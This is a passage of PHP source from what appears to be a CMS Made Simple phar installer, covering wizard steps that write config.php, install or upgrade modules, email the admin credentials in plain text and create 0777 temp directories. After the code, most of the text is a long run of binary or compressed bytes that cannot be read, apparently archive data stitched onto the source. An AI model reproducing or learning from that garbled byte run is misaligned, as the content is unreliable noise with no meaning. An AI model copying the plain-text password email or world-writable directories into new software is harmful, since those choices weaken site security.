            if(!@\mkdir($concurrentDirectory = $destdir . '/tmp/templates_c', 0777, TRUE) && !\is_dir($concurrentDirectory)
            )
            {
                $tmp_dir_errors[] = \sprintf('Directory "%s" was not created', $concurrentDirectory);
                //throw new \RuntimeException(\sprintf('Directory "%s" was not created', $concurrentDirectory));
            }

            include_once($dir.'/base.php');
            
            if( \count($tmp_dir_errors) > 0 )
            {
                $this->message(\implode("\n", $tmp_dir_errors));
            }

            $this->message(\__appbase\lang('install_defaultcontent'));
            $fn = $dir.'/initial.php';
            if( $destconfig['samplecontent'] ) $fn = $dir.'/extra.php';
            include_once($fn);

            self::verbose(\__appbase\lang('install_setsitename'));
            \cms_siteprefs::set('sitename',$siteinfo['sitename']);

            $this->write_config();

            // update all hierarchy positions
            $this->message(\__appbase\lang('install_updatehierarchy'));
            $contentops = cmsms()->GetContentOperations();
            $contentops->SetAllHierarchyPositions();

            // todo: install default preferences
            set_site_preference('global_umask','022');
        }
        catch( \Exception $e ) {
            $this->error($e->GetMessage());
        }
    }
    
    /**
     * @param $version_info
     *
     * @throws \CMSMS\Database\ConnectionSpecException
     */
    private function do_upgrade($version_info)
    {
        global $CMS_INSTALL_PAGE, $DONT_LOAD_DB, $DONT_LOAD_SMARTY, $CMS_VERSION, $CMS_PHAR_INSTALLER;
        $CMS_INSTALL_PAGE = 1;
        $CMS_PHAR_INSTALLER = 1;
        $DONT_LOAD_DB = 1;
        $DONT_LOAD_SMARTY = 1;
        $CMS_VERSION = $this->get_wizard()->get_data('destversion');

        // get the list of all available versions that this upgrader knows about
        $app = \__appbase\get_app();
        $dir =  $app::get_appdir().'/upgrade';
        if( !\is_dir($dir) ) throw new \RuntimeException(\__appbase\lang('error_internal', 710));
        $destdir = $app->get_destdir();
        if( !$destdir ) throw new \RuntimeException(\__appbase\lang('error_internal', 711));

        $dh = \opendir($dir);
        $versions = [];
        
        if( !$dh ) throw new \RuntimeException(\__appbase\lang('error_internal', 712));
        while( ($file = \readdir($dh)) !== false ) {
            if( $file == '.' || $file == '..' ) continue;
            if(\is_dir($dir . '/' . $file) && (\is_file("$dir/$file/MANIFEST.DAT") || \is_file("$dir/$file/MANIFEST.DAT.gz")) ) $versions[] = $file;
        }
        \closedir($dh);
        if( \count($versions) ) \usort($versions, 'version_compare');

        $destconfig = $this->get_wizard()->get_data('config');
        if( !$destconfig ) throw new \RuntimeException(\__appbase\lang('error_internal', 703));

        // setup and initialize the cmsms API's
        if( \is_file("$destdir/lib/include.php") ) {
            include_once("$destdir/lib/include.php");
        }
        else if( \is_file("$destdir/include.php")) {
            include_once( "$destdir/lib/include.php" );
        }
        else {
            throw new \RuntimeException('Could not find include.php file in destination');
        }

        // setup database connection
        $db = $this->db_connect($destconfig);

        include_once(__DIR__.'/msg_functions.php');

        try {
            // ready to do the upgrading now (in a loop)
            // only perform upgrades for the versions known by the installer that are greater than what is installed.
            $current_version = $version_info['version'];
            foreach( $versions as $ver ) {
                $fn = "$dir/$ver/upgrade.php";
                if(\version_compare($current_version, $ver) < 0 && \is_file($fn) ) {
                    include_once($fn);
                }
            }

            $this->write_config();

            $this->message(\__appbase\lang('done'));
        }
        catch( \Exception $e ) {
            $this->error($e->GetMessage());
        }
    }

    
    private function do_freshen()
    {
        try {
            $this->write_config();
        }
        catch( \Exception $e ) {
            $this->error($e->GetMessage());
        }
    }

    private function write_config()
    {
        $destconfig = $this->get_wizard()->get_data('config');
        if( !$destconfig ) throw new \RuntimeException(\__appbase\lang('error_internal', 703));

        $destdir = \__appbase\get_app()->get_destdir();
        if( !$destdir ) throw new \RuntimeException(\__appbase\lang('error_internal', 700));

        // create new config file.
        // this step has to go here.... as config file has to exist in step9
        // so that CMSMS can connect to the database.
        $fn = $destdir . '/config.php';
        if( \is_file($fn) ) {
            $this->verbose(\__appbase\lang('install_backupconfig'));
            $destfn = $destdir.'/bak.config.php';
            if( !\copy($fn, $destfn) ) throw new \Exception(\__appbase\lang('error_backupconfig'));
        }

        $this->connect_to_cmsms($destdir);

        $this->message(\__appbase\lang('install_createconfig'));
        $newconfig                = \cms_config::get_instance();
        $newconfig['dbms']        = \trim($destconfig['dbtype']);
        $newconfig['db_hostname'] = \trim($destconfig['dbhost']);
        $newconfig['db_username'] = \trim($destconfig['dbuser']);
        $newconfig['db_password'] = \trim($destconfig['dbpass']);
        $newconfig['db_name']     = \trim($destconfig['dbname']);
        $newconfig['db_prefix']   = \trim($destconfig['dbprefix']);
        $newconfig['timezone']    = \trim($destconfig['timezone']);
        if( $destconfig['query_var'] ) $newconfig['query_var'] = \trim($destconfig['query_var']);
        if( isset($destconfig['dbport']) ) {
            $num = (int)$destconfig['dbport'];
            if( $num > 0 ) $newconfig['db_port'] = $num;
        }
        $newconfig->save();
    }
    /**
     * @throws \SmartyException
     */
    protected function display()
    {
        parent::display();
        \__appbase\smarty()->assign('next_url',$this->get_wizard()->next_url());
        echo \__appbase\smarty()->display('wizard_step8.tpl');

        // here, we do either the upgrade, or the install stuff.
        try {
            $action = $this->get_wizard()->get_data('action');
            $tmp = $this->get_wizard()->get_data('version_info');
            if( $action == 'upgrade' && \is_array($tmp) && \count($tmp) ) {
                $this->do_upgrade($tmp);
            }
            else if('freshen' == $action) {
                $this->do_freshen();
            }
            else if('install' == $action) {
                $this->do_install();
            }
            else {
                throw new \RuntimeException(\__appbase\lang('error_internal', 705));
            }
        }
        catch( \Exception $e ) {
            $this->error($e->GetMessage());
        }

        $this->finish();
    }
} // end of class

?>
<?php

namespace cms_autoinstaller;
use \__appbase;

class wizard_step9 extends \cms_autoinstaller\wizard_step
{
    protected function process()
    {
        // nothing here
    }


    private function do_upgrade($version_info)
    {
        $app = \__appbase\get_app();
        $destdir = $app->get_destdir();
        $config = $app->get_config();
        
        if( !$destdir ) throw new \RuntimeException(\__appbase\lang('error_internal', 900));

        $this->connect_to_cmsms();

        // upgrade modules
        $this->message(\__appbase\lang('msg_upgrademodules'));
        $modops = \ModuleOperations::get_instance();
        $allmodules = $modops->FindAllModules();
        
        # we check if we have the correct version  of modops just in case
        if(! \method_exists($modops, 'IsOptionalSystemModule') )
        {
            throw new \RuntimeException(\__appbase\lang('error_internal', 903));
        }
        
        foreach($allmodules as $name)
        {
            // we force all system modules to be loaded, if it's a system module
            // and needs upgrade, then it should automagically upgrade.
            // additionally, upgrade any specific modules specified by the upgrade routine.
            // even if the module is optional we still need to load it... if not queued for install
            // it should be handled by the force load routine.
            
            if(($modops->IsSystemModule($name) && !$modops->IsOptionalSystemModule($name)) || $modops->IsQueuedForInstall($name))
            {
                self::verbose(\__appbase\lang('msg_upgrade_module', $name));
                $module = $modops->get_module_instance($name, '', TRUE);
                if(!\is_object($module))
                {
                    $this->error("FATAL ERROR: could not load module {$name} for upgrade");
                }
            }
            else if ($modops->IsOptionalSystemModule($name) && \in_array($name, $config['optional_modules']))
            {
                # now we handle optional modules.
                ## TODO add a language string here. self::verbose(\__appbase\lang('install_optional_module', $name));
                self::verbose(\__appbase\lang('install_module', $name));
                $modops->QueueForInstall($name);
                $module = $modops->get_module_instance($name, '', TRUE);
            }
        }

        // clear the cache
        \cmsms()->clear_cached_files();
        $this->message(\__appbase\lang('msg_clearedcache'));

        // write protect config.php
        @\chmod("$destdir/config.php", 0444);

        // todo: write history

        // set the finished message.
        $app = \__appbase\get_app();
        if( $app->has_custom_destdir() || !$app->in_phar() ) {
            $this->set_block_html('bottom_nav',\__appbase\lang('finished_custom_upgrade_msg'));
        }
        else {
            $url = $app->get_root_url();
            $admin_url = $url;
            if( !endswith($url,'/') ) $admin_url .= '/';
            $admin_url .= 'admin';
            $this->set_block_html('bottom_nav',\__appbase\lang('finished_upgrade_msg', $url, $admin_url));
        }
    }
    
    /**
     * @throws \Exception
     */
    public function do_install()
    {
        // create tmp directories
        $app = \__appbase\get_app();
        $config = $app->get_config();
        
        $destdir = \__appbase\get_app()->get_destdir();
        if( !$destdir ) throw new \RuntimeException(\__appbase\lang('error_internal', 901));
        $this->message(\__appbase\lang('install_createtmpdirs'));
        
        if(!@\mkdir($concurrentDirectory = $destdir . '/tmp/cache', 0777, TRUE) && !\is_dir($concurrentDirectory))
        {
            throw new \RuntimeException(\sprintf('Directory "%s" was not created', $concurrentDirectory));
        }
        
        if(!@\mkdir($concurrentDirectory = $destdir . '/tmp/templates_c', 0777, TRUE) && !\is_dir($concurrentDirectory))
        {
            throw new \RuntimeException(\sprintf('Directory "%s" was not created', $concurrentDirectory));
        }

        $siteinfo = $this->get_wizard()->get_data('siteinfo');
        if( !$siteinfo ) throw new \RuntimeException(\__appbase\lang('error_internal', 902));

        // install modules
        $this->message(\__appbase\lang('install_modules'));
        $this->connect_to_cmsms();
        $modops = \cmsms()->GetModuleOperations();
        $allmodules = $modops->FindAllModules();
        
        # we check if we have the correct version  of modops just in case
        if(! \method_exists($modops, 'IsOptionalSystemModule') )
        {
            throw new \RuntimeException(\__appbase\lang('error_internal', 903));
        }
        
        foreach($allmodules as $name)
        {
            // we force all system modules to be loaded, if it's a system module
            // and needs upgrade, then it should automagically upgrade.
            if($modops->IsSystemModule($name) && !$modops->IsOptionalSystemModule($name))
            {
                # system and mandatory modules should always be loaded
                self::verbose(\__appbase\lang('install_module', $name));
                $module = $modops->get_module_instance($name, '', TRUE);
            }
            else if ($modops->IsOptionalSystemModule($name) && \in_array($name, $config['optional_modules']))
            {
                # now we handle optional modules.
                ## TODO add a language string here. self::verbose(\__appbase\lang('install_optional_module', $name));
                self::verbose(\__appbase\lang('install_module', $name));
                $module = $modops->get_module_instance($name, '', TRUE);
            }
            
            if(!\is_object($module))
            {
                $this->error("FATAL ERROR: could not load module {$name} for install");
            }
        }
        
        // write protect config.php
        @\chmod("$destdir/config.php", 0444);

        $adminacct = $this->get_wizard()->get_data('adminaccount');
        $root_url = $app->get_root_url();
        if( !endswith($root_url,'/') ) $root_url .= '/';
        $admin_url = $root_url.'admin';

        if(\is_array($adminacct) && isset($adminacct['emailaccountinfo']) && $adminacct['emailaccountinfo'] && isset($adminacct['emailaddr']) && $adminacct['emailaddr'] ) {
            try {
                $this->message(\__appbase\lang('send_admin_email'));
                $mailer = new \cms_mailer();
                $mailer->AddAddress($adminacct['emailaddr']);
                $mailer->SetSubject(\__appbase\lang('email_accountinfo_subject'));
                $body = null;
                if( $app->in_phar() ) {
                    $body = \__appbase\lang('email_accountinfo_message',
                                            $adminacct['username'],$adminacct['password'],
                                            $destdir, $root_url);
                }
                else {
                    $body = \__appbase\lang('email_accountinfo_message_exp',
                                            $adminacct['username'],$adminacct['password'],
                                            $destdir);
                }
                $body = \html_entity_decode($body, \ENT_QUOTES);
                $mailer->SetBody($body);
                $mailer->Send();
            }
            catch( \Exception $e ) {
                $this->error(\__appbase\lang('error_sendingmail').': '.$e->GetMessage());
            }

        }

        // todo: set initial preferences.

        // todo: write history

        \cmsms()->clear_cached_files();
        $this->message(\__appbase\lang('msg_clearedcache'));

        // set the finished message.
        if( !$root_url || !$app->in_phar() ) {
            // find the common part of the SCRIPT_FILENAME and the destdir
            // /var/www/phar_installer/index.php
            // /var/www/foo
            $this->set_block_html('bottom_nav',\__appbase\lang('finished_custom_install_msg'));
        }
        else {
            if( endswith($root_url,'/') ) $admin_url = $root_url.'admin';
            $this->set_block_html('bottom_nav',\__appbase\lang('finished_install_msg',$root_url,$admin_url));
        }
    }

    private function do_freshen()
    {
        // create tmp directories
        $app = \__appbase\get_app();
        $destdir = \__appbase\get_app()->get_destdir();
        if( !$destdir ) throw new \RuntimeException(\__appbase\lang('error_internal', 901));
        $this->message(\__appbase\lang('install_createtmpdirs'));
        
        if(!@\mkdir($concurrentDirectory = $destdir . '/tmp/cache', 0777, TRUE) && !\is_dir($concurrentDirectory))
        {
          #throw new \RuntimeException(\sprintf('Directory "%s" was not created', $concurrentDirectory));
          $this->message(\__appbase\lang('info_directory_not_created', $concurrentDirectory));
        }
        
        if(!@\mkdir($concurrentDirectory = $destdir . '/tmp/templates_c', 0777, TRUE) && !is_dir($concurrentDirectory))
        {
          #throw new \RuntimeException(\sprintf('Directory "%s" was not created', $concurrentDirectory));
          $this->message(\__appbase\lang('info_directory_not_created', $concurrentDirectory));
        }

        // write protect config.php
        @\chmod("$destdir/config.php", 0444);

        // clear the cache
        $this->connect_to_cmsms();
        \cmsms()->clear_cached_files();
        $this->message(\__appbase\lang('msg_clearedcache'));

        // todo: write history

        // set the finished message.
        if( $app->has_custom_destdir() ) {
            $this->set_block_html('bottom_nav',\__appbase\lang('finished_custom_freshen_msg'));
        }
        else {
            $url = $app->get_root_url();
            $admin_url = $url;
            if( !endswith($url,'/') ) $admin_url .= '/';
            $admin_url .= 'admin';
            $this->set_block_html('bottom_nav',\__appbase\lang('finished_freshen_msg', $url, $admin_url ));
        }
    }

    private function connect_to_cmsms()
    {
        // this loads the standard CMSMS stuff, except smarty cuz it's already done.
        // we do this here because both upgrade and install stuff needs it.
        global $CMS_INSTALL_PAGE, $DONT_LOAD_SMARTY, $CMS_VERSION, $CMS_PHAR_INSTALLER;
        $CMS_INSTALL_PAGE = 1;
        $CMS_PHAR_INSTALLER = 1;
        $DONT_LOAD_SMARTY = 1;
        $CMS_VERSION = $this->get_wizard()->get_data('destversion');
        $app = \__appbase\get_app();
        $destdir = $app->get_destdir();
        if( \is_file("$destdir/lib/include.php") ) {
            include_once($destdir.'/lib/include.php');
        }
        else {
            // do not need to test /include.php as if it still exists, it is bad...
            // and it should have been deleted by now.
            throw new \RuntimeException("Could not find $destdir/lib/include.php");
        }
        
        $config = \cms_config::get_instance();

        // we do this here, because the config.php class may not set the define when in an installer.
        if( !\defined('CMS_DB_PREFIX')) \define('CMS_DB_PREFIX', $config['db_prefix']);
    }
    
    /**
     * @throws \SmartyException
     */
    protected function display()
    {
        $app = \__appbase\get_app();
        $smarty = \__appbase\smarty();

        // display the template right off the bat.
        parent::display();
        $smarty->assign('back_url',$this->get_wizard()->prev_url());
        $smarty->display('wizard_step9.tpl');
        $destdir = $app->get_destdir();
        if( !$destdir ) throw new \RuntimeException(\__appbase\lang('error_internal', 903));


        // here, we do either the upgrade, or the install stuff.
        try {
            $action = $this->get_wizard()->get_data('action');
            $tmp = $this->get_wizard()->get_data('version_info');
            if('upgrade' == $action && \is_array($tmp) && \count($tmp) ) {
                $this->do_upgrade($tmp);
            }
            else if('freshen' == $action) {
                $this->do_freshen();
            }
            else if('install' == $action) {
                $this->do_install();
            }
            else {
                throw new \RuntimeException(\__appbase\lang('error_internal', 910));
            }

            // clear the session.
            $sess = \__appbase\session::get();
            $sess::clear();

            $this->finish();
        }
        catch( \Exception $e ) {
            $this->error($e->GetMessage());
        }

        $app->cleanup();
    }

} // end of class

?>
<?php

function ilang() : string
{
  $args = func_get_args();
  
  return \__appbase\langtools::get_instance()->translate($args);
}

function verbose_msg($str)
{
  $obj = \__appbase\wizard::get_instance()->get_step();
  
  if(method_exists($obj, 'verbose'))
  {
    return $obj->verbose($str);
  }
}

function status_msg($str)
{
  $obj = \__appbase\wizard::get_instance()->get_step();
  
  if(method_exists($obj, 'message'))
  {
    return $obj->message($str);
  }
}

function error_msg($str)
{
  $obj = \__appbase\wizard::get_instance()->get_step();
  
  if(method_exists($obj, 'error'))
  {
    return $obj->error($str);
  }
}
?>      
[98~xi{LB2IL	dv@Olvz{mH{gބJ%$JRUyzIۗmt=o{߻y?w"~Ӽ'Pרxbp)iwŽtt&S."0駱(.I.N'P8}$i9:9Osql/'l2GDy>łD\$<-8(+D<%Pg UwZ0$
ѝdy2эLCٮn	q?.~k{yb=?>|z<OìI>Iz+GaH?&<O~2~ѧȓB<&돲Q16EM:ʋl'٧uN<H
ģ)XQgXEǟp#YaO>[cs?{oo\{x .:f,x@zܼ'$Ƣ~|~%E@t"γa2a)Ŏ8/E7̇='lr3`M!0	XI"r`$<rN$ @`zz	h i:Q'H&}ǯ/ވ_Q2մN<K{S5cJ~",[p,[ d7.l+'#tŖBklTvXALt kZlnzXy6NMv?䟟͉8|ׯ_e`r?&${
SUKh; x~oPϞ: <=yqt|,|-ū'OyvZz㣖	6
g I;5X$%bal|9 G<Ȁc pW4Qd4PgS<ZM3Ln  OݻMK 
nw7piGxT?h-(ނbfЪ6"w߭>~EG{]L-6NVjm`i?j [Nɧb/:ZћG΋Gh/jAӗ/"̛ם<{އ ;KG%	۞  @:IQ_D8y[FC0 	<I<S<&ePrQ2%CU!`2߭ Vk5X9Ѳ%	 NFu\ڇV%E?UUZ dXm4L*5ѐP9=`z4Nd?2eA 2uƃ<+O_k%~~P|eKGn	y]´_Iŗ >J uB(8/w}_Eɳ
gvt5hX+K.rq+fέXceǆ>S`|aa H!9	,Pv%g"zO? ny6N9K}9W+z18]n>ꣵ0y:.(sDA[>L^v2g, #k)YDA1/3p{8j+:ut4D{OF51e!fhRM|D~V0kސo&;S@/`Le9
^BIL9Ɵ8߫mmo{G]mzۊ?72씬N `LF|;K5kV;	nIzryiwN39]B)Mr>]Yϭ"@މ4/9fY0GfW%6ɦ/py~<_3Яtoƀ<S.O<
1MRZKx-n%pKpM1+D[Vr;S>~ӿ7hs!*#*p!ai0=6@wLSDr_:raݸWBᯘ\ڟ=EXtDJq}%4$	R5-WZGLxj0wB󫺌rBwTC1gsGyԅW(VpLOߋ 4Hk.;
QT\'091ol<P#If\xOE;x;-#/VS@.ZpeE.i2D4Ud@AJZҖ=u
7P߂J$X@t_tYwM;KdCr2-2OVhjHmi1!GYehvNZ+ht`5Bp͕*dY3fkl!+S,kSBXB@/9,Un2@)swK5NA*!*"2eժo!)""^6ow[)ʽuI*8I>-Xf*V/E)A{X>$7JV4ojH] np\IVwkTuQ1P3ޚj(Y)K@?<|<VI^}R-S?v5{RMتܙ£p0I=z!dCw\`S<Iр87XeEGdpڃH**-anfJXBqWj̠g	7D*Ϥ`!HϪEh=bDܝOw)By2&XƆ@=ĳTv*sGvԻ&jt
Q]W(G	{&BU+ԧ$/HWVQB![B * 
m2:s"n$N%Y.I6!"F5M	*#)zle@VmĩPbriWeL#qsg	hR(2ƢOG
8b{%[Pgjeu5|3CG)FMڞxuCmm?\]#Qk
jtXrzhuQ˯@KU<ZF݁}aNa'3u($r	A#1LhL dSn?;C; DceС/9Dg廙|wEErcT<J.xQѥJau2EA_xZ\anʐV3loo >nël?NWrk'$TCtÿRtS,;`f[78h.r7a9uc;+&v)qg7Ibz6GK&qgC$%Qc_lD(6lE<tTIe~TF T
zp
,TBw.$ >}e5h5[>4O*'{ImP(F^6		s.@vSXNҍPoke^\- Uu2j|1$:<]+8ѕ	~+jgώLJ7nD`q"7U0bJ%|++IHHFbO%=}q|D<}qRwiOu]<#&7(7ğ9:Aaa9IG<(XC"}(ڍ$'ӤZ)M8F2mWT̀вpnp)K}ц86(w9OY%hA}Vjԃ O]ڸ"E(e18ǃR|L9'U&J#caui	;
G#c.QS{X(NT[ʙ~JSI#I1 8Mcd,]o?br)jrܺS،='̡ZFZˁ5 RlkCZ"0[D8_f7N! }Fl
GcP}@pUg
TՔ' HI5!TR,5mRxx)c)E(Yr)Pit@@@^wufKfuM<|P~q
wy{}xk.] ^y&@7<O#$`n<Yg}';ODnۉDA|ۏ/+%by:0qv2ʖUrxg̕t؅U&H$8(G~|9=;zt"hmE%[555o{{IYkZGs/剳/("s$kzS֙ZǣAOegaA]zw|&|5}<9O>% ;V¢d+W.Re;D\E+s.K@H ER33|QחUTC[9{4^7Gx)QPuK"yu]{BeS\[۸4GGs)6C6vMz	\rX &m{ttpeB߆Gxr,G;;K#i]K)@4u8L ߇QOc9JfxpUhP!G{=J]BlƁ6t;(9
n_50E'	(M5ipF	Wj"Ok8yHͪQvnyM$?2WJ\Y7IE		z<C>*O߀`{k.c;yϞQwT\D-Hbn"X]ޭNj	=ph&YG0((g}A,,"gk_UGܳd=]}g\r<Ni(w)'t,`lunhaSG-s	_V;!l7DgGI<"-K)n miD4(I|DckGi:$'c3.Bl!amAOޏKW,d8]2,=ӛ'I;]7#!hNUG́YѪÿ`y %{a!uRn{{DюިFdAΫAծ,i>dyjazѓdlHr@&}/t$5͂:	pdtSɃ1!b[%UfW4C8d-0~c५ZJ{FZ9Бb{foR'&A/Eo
"ŨYk}q\i-MJBRnÇiEPBk\g"?>QHc.IXdS[me(\)cEOf}$![|dUwiu#ݭy6)9e<lMGfU-I@WuӥpEe%֥ }|:|Q_MlɠujZ91<5[rXX5	nXl,H=R]_L­B=oC4o}(%'M@%0'2JakJ@i`+-W,; xi;5~,[+W`rU^%:jx޾ÂqMAÚSVόt!&ʃ')*(qjF
=\ٵf4bNR$"qY%}CDC8_$4rtx*m55hcRsY6(꽼4 w܂J<πQ
eJ7)Q3x,l_@u,g"UyYhzF?i{Iw_?v_Cǣl|9IQ54߾.n2xp6l{ɰc¢DD!jy&ϲ+?aUr;F%`SII4('rڔФz%`Pr#{[4'#c!pJG0PlJ~	l͝wWaX[,brC#Urn+'L}jjqwA'܉n,`h}09ovF*!.[N|F9L &BcNjTLdAYAC{I׭ȶ,׭$?|c(w&
1KWjBu6LI	^*f:*I5w}7*q촮48>D@mojh65DY>.bq2*&$G)PO߃c}˟%]_ko[?)5i۾ĿRj[JmKKKmRla獧. $GK9A;jwu|°Lz);M$GSVv8VA~d	ۥs)eYe*0jV`wA:w6rFN[Ko ZfU`-I}:`ڪҚ2)!1h0.(QpZG#<Tms?pJ2tP*aRt죱¦u3Tv.jx%<[lWdZq*R1LRA=rH7@NB9{'لP3e&4t;tf+w0>n3bQЈ rq7;PFBFAe}6@d paspS(;ͺDG>CL1eKV*sVr9TB'F 	Fp|X0ӱʧ}}4
''Ug{a2vO-j=4?bye+f9o9L
;r O.{4qA:,+B i~nG7%%}@y:J&4TEK)N49Bi[`IN"1dbEѦ03K(⯥͈aW	S2@Zv61Q9K߾.RrSlCS͵nUOٮTo>=sCKj);#󬒦#RQekhܙ]7#ْ/1|v)J4l҉'b1f_[&}Kb<*T
($)ΠU0ׂPU!zD0cms.Vt#6pYUk}KJ2|4 I9jV-C}hz-A-T
l.d^г;C&(~79z|>\=+Q%}gbIn,|YQJ3tb
1$Y\9̷E,?tyL[o[L.aEˇ|Hg9G:Ry%Klؑ=ɘ1dλ  Ex+Y{/}x<|UUӲSkcytPGVo+146N/wfTO1r130f,@_מk*tpc#V#+٘5{ϭyWubm9{ݽkNz ]wnlz1k9+VnXO}*,T+hmLN3 R@)t&-NS$>LJK8c_dT<[*M4d39ZSVUtм.
2 X P`>1iRґ:խnjC3Y`xUaZ#X`z/FYL>)fYYMYˌ}<Zk4>cP˧ ifGdMrXu.WgsY2u-5칹)HsE3)ז,izb'IhQ5b%hT 6JTJ, IeAf*:W?#w,Ue6?#gt☯ЭCIPp}4	b`79l+'܎hϸFš#mg8ǰPo!<f]>D9E{,DMv	$k!.`>TaɧE+Qect$V)&0a#vY} M;d$4/$"i
N=`I>f OҏP8RV}'䥃^5Rcߩ;#$*=,Y>~k?<9Z~x]{.=t\G(I'Fc	N,D/^ߎF:zӣǞ)9ДUy1{"M4==!_5N; 첣;4Mn"X'4(A-$"Ya=Rw{h?Ivao:Tiz
Y7{ewW-,@9O#oYȝ]mvz&lhbZ 	t4Q3k',_Oq^o|Ϟ>F#IOX M}ZOʙ5XoJЩG~P)g:_%@3M*hE<=3Xq4AQVbf9	5QpPxibv#y\ x
2Td摸A.-1wmqni켷#EasxX,>`W!<ru?[H&J{ӢX`}3Q6ExZ81Ƣ<KNwuy܌R:q^3ҩl&q]4,|j-A
r`:@i03D> /}YXm(FkM>_iA3|g:xg~t*Nx :GZH4}c. _,A1qS؇ tl\#&
0DR\>Foj)AHH6+S@j&w>Y M{j!gIg^0>5A,y^dX,x{BU$Ǹ)β6n
WlSv9-R,*7;|Ǟ|~JƆIfx""n_;8!NQhDU73`MFt	\ sa:kpgoY;%uU&s5V[Y(sGWI$(l	3*$]nM_'L5I>?ڳ8/rQ#ڞ^{}\E5r.G:'P7üfzZm@Ty]k
nU.[w*Vs[,_᷌yA@@lnlC~ 8}ÚOU`W:cJﲣiwG[7K0ND e38n,14RԬ&AIԍITUt1t0R?'y,GIRwg/P`Ad$ú*OGD6?yR}0H+Nޣs/xRen@xf^E>@^"FMΩvV:T</i!c\x:`?4V.:X\F	"1p?x20+	hfϙOT;s?L%BM1"qLOvq4W9x{|ӝ/>ezMt[xlU "E.S[5Mf}W1rͫ^H38Mq!BIs?YA",:cSs&4# RfZzaШMw*8Ac"ѢrW aWxW, ݱ9|'NO,
&Z$41YɚB5k~t!'͢
d(MK8X;(`U$K9̦nT7N'/u	4ZTmJ}wG*Kj>OAojh!_[RH2pg9զg52DUιW8: a厝^$T['5,QrS9o?{oύw!7gXO9:_32`Y;PZՍtjUT5^}'%烲BQ:(cdwxj8	zQӖ^'J$YKsɤWbUgGON|E8az&^0CJ&!ڤ L(`MO{VnGYsY[ET(p xYdׅ_'H0ExkAAiyuLyG,jTUZ'EE䓯K0(6,*M_"f=M9&Yl RgFvPn4jlG8D6K0'	7kDR'ZϊUM2Cpa-JyIxQl̿͌@qg;,\Q#n?*jGi95'YIBrsaOtP^Sk,FOjب9U!T$kQKK7ZQMЕ#%l8iQdJY3RV
5ʢsjEɍLZ]UjPR.zO?U$NGf;Wnښ"Q5*@ hN6lZR,]WCu-cs{~)ϯ[-yhz?~^Z;tgoڪ/ Mg_q.b_qMݮ]M|N1%IH-v}e͸eƆT6NBךD9(E:3Rk%v$)ըzHUU9rAL(DX=mi;~՝*"<~XiիrZu&m=p6B)id0M6 x.RUs;E?e>+"ԫO_}_3MS44^$y@9%
|in9
Lؓۊ^*ϜUYReR:s~rMS
NB)R.t gi:Qh;-4s^ݖӣQu4)B3JTJrάCtv>z4cpy8J	שa)?im-8PٵJZ:Re5ed6=>xD8<󄃞0 SW1w}aZfƴ*̂<5ќK01{ N%pf;8nݦ <tk F׃膶c9WD_>vC!HwB``~ԛۋ+Wf_.j޺;fmۗcPcۊ}0 r*oA;0xc.J&bӤ
V )\0io%YdgZki6&fEº&95́Gr"wOar\(h]|s諛:	:G-eV2[M75eLȶ"'۟-Q2[Γώ:֚!h^d WupztaOإ27ʽ
奬ɒvNJEkr݆{| fz/
BȶJs9ggaG-Zi+jDFT('fSǮR4܈qױ+Y+-Ƴ-cؤg2>71Cr[V15=}\/)ɓ<s<P`0-]q.kOO kf3N~v@\Ws̺Y_Ǯnq+7k#,37Ob)\YH5)m}p}Uf;ױZغuRe)yyx툔ʸ胖C[sLc`5-y+U|C$u$ɜmd$e>69߻[~5~K?9٤whso}]<Xooow~Smc<=yvG2/afNz*אF6I:('R[iI&_Qj !38~.0$|䃀Յ8ρyIMtj+8&?VؙaK>G	9rx|5!=ТlSla i*B=Vt>U|҄;刽5̛XՈ]\[YGWI;8~<?vo#ԺWap̞KGzc<ږXwCItj/Pr:r}dxJsUPV)ch' 86A%o)9 !|⋩t..ƳǤa i4r޷jľ^K˱5D
'tD O	MP)sdip:AAYxf2r&#9%gߧZHQkY9yؾ};s2wDCg958 dPByP&y5cڙCm!48SκBXHAw&~n#Q!H;;j8$NtM<|SX6-$7k&Dϟf*vNG6U%aUSZY|Á)wNk*L6^-Xk+]:5<_f+ר[Tx~Z(D+I YlM IU06ܹ`ʋ8{@bxiU6,E"`zby,7'SU!磌#K01'RQJm#]ZЁWB6|<uZ/ךRM%G6gU`5WVJC(ȭ=Q+ޛZR7XzyU*hۊv̅_FC5íeZ/om^& ފD4Y(K@D7GńEbd$!#JR V,ɒ':({oZQ$G:^}[ݻV7@%?G/H[.'xj/Ep6M4Ҿ9О)Nc઺gc1zWq#PZ	XH_J6#\EM\-^wz79gQ}doT30vM"v@KƼyG<9ģ4h۽c\ƛE-3ή W[jzV$MG䲢ϒYq#"9669u1
cp%*q	_//|qq8{TsvQ:>&}`Ż/u@ZxR:FǇq,47ɥNlTN&m\bfd۾gM4v@vdfd5H"b2W3ǫoO&04bOssMzdñ:gi~$o%ڞX5l+J=*Sm@=,h1]umы$*ֹ4F}LЌ7ЮkA@%OoǖRNڛT#K.g^?y'x$L1!u]yy5~ppo9 bw.!u-9ųC tb	<:Q<MLHL cLcd H;:,[D"pb[/RsOzLH,He,𲥱QsdhRFb  FYdk.٣%>p$T-0䁞ʳCȡ0 AfhS}JgYnY7= Y¶2xr&˥LSnRZ`)eٍ׺AI+Q4PʰN/-YLJ%UFr:!6X];Esb~HwH{WiC2a9(2阎$9C,Q!w\ZWK4Z]FGψ~ʈx׹
K	.~jAZ^R|B.5|F-&+iTU#+v+`>|xĲ瀢	׌>,gIU_&,guՄ_D(Lz1ͬf#aޱS號IyznFd8<>|b+cڶZ KE?z:~Ǟ'w1#SCŷT	PDPJ+MKޠ+q_i;"`L賒Bp5\U`_XVY$PT /|?fهa<p9wK[/7.3PPh-bջ[1DϢmVA/6RįK!ȝ"h+VcuϣJi@_dq&f߱"Y]|\>}\[ײ04|[nHe?T]y\x*x%J}m9?J-oi+E~]`&}
y~Wm` #4i!* xn?
ژ4:~ke~hUa;(Y$aVu2'-'p Uu#1]8SiB/]ksj
kgΝ}3fy 0 ;8Ec,ɰ;qu,1X[7CϬ^pBɈw,5(t	bEȩxm;2j
[-l6VY!8r\Mv	cxk- ϖK+R_$+*ڛ?mQ?{;wwuT_zIJ%,ך"FȴfO3)h#ktƹB;
Se{K\I[]wʴZٞR-Z(UP,0zTS^H<*3H,}Yiyÿ2\B)D!PͦKl dk]i5SKFa-=Y%\ifl=dYZ+j"ÞzIycvކ|k_=̵wt`{kR_(.>Gڗ5yrRҹ%gEv_@nPZ$>s X-ُ;7U,R7pʩO-ϊ𧽪;(!&cNz٤O~=Ӭ2r/ǈHyND-G𿖘
